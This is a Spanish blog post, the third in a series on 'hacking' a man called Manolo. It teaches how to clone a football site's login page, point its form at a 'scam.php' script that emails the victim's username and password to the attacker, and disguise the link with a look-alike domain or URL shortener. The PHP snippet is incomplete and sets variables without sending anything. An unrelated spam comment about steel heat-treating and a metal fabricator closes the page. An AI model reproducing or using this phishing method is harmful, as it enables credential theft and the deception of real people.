Comenzamos la tercera parte de la serie de Posts "Hackeando a Manolo el Barbas", si no habéis leído los otros anteriores aconsejo hacerlo antes de seguir con este.
- Obtención de información pública de la persona o Doxing.
- Buscando y adivinando la contraseña.
- Obtención de contraseña con engaños y saltando el 2FA.
- Robo de datos a través de Malware.
Lo primero que haremos es irnos a la contraseña y darle a inspeccionar elemento, ya que hay una cosita que hay que modificar antes de copiarla entera.
Buscamos el formulario y le añadimos un action="scam.php", ya que ese scam.php es un fichero que crearemos un poco más tarde, encargado de guardar usuario y contraseña de nuestra victima.
Una vez hecho esto haremos click derecho y le daremos a guardar como, y esto se encargará de copiar la página con todos sus estilos e imágenes en una carpeta.
En la misma carpeta donde tenemos el archivo html creamos un php con el siguiente codigo:
Código: PHP
- <?php
- $correoreceptor = "aquí cámbialo y pon tu correo";
- $asunto = "Ha caido una nueva víctima";
- $mensaje = "Usuario: ".$user." - Contraseña: ".$password;
- ?>
Una vez hecho esto habría que buscar un servidor donde hostear todo esto para poder enviarle el link a nuestra víctima, vamos a hacer nosotros nuestra prueba con Manolo. Para que no sospeche por la URL que le enviemos podemos comprar un dominio parecido al de mushofutbol.com, en mi caso voy a usar un acortador de URLs, así será más facil que se lo crea.
Cuando Manolo pulse el Link que verá algo de está forma.
Ahora solo tocaría esperar a que Manolo se conectase y desear que introdujese sus datos, yo tuve un poco de suerte y recibi un correo como este.
Cabe destacar que la probabilidad de que una víctima caiga en un engaño de este tipo depende mucho de como sea la mentira que hemos creado, en este caso sería más dificil que la víctima introdujera sus datos, en un futuro Post haremos algo más complejo y más interesante.
Saluti
Ci, es una copia de algo que ise tiempo, pero lo tenia que postear pa ceguir con cosa interesante
1 comentario:
Heat-treating improves energy and removes inner stresses created during raw materials processing and with heavy machining. Carbon steels corresponding to 1018 can be case hardened through nitriding or carburization, and 4140 is definitely brought to 50 Rc or tougher best shower caps for long hair through quench and mood strategies. As talked about previously, 17-4 PH can be made fairly exhausting, as can some 400-series stainless steels, but 300-series stainless can only be hardened through cold working or drawing through a die. Soft metals corresponding to aluminum and magnesium are by no means hardened, although they may be cryogenically stress-relieved or “aged” by low-temperature warmth. N.W. Metal Fabricators, Inc. has proudly offered metal fabrication, sandblasting, and machining companies to clients throughout Hermiston, Umatilla County, Hinkle, and Charleston, OR since 1986.
Publicar un comentario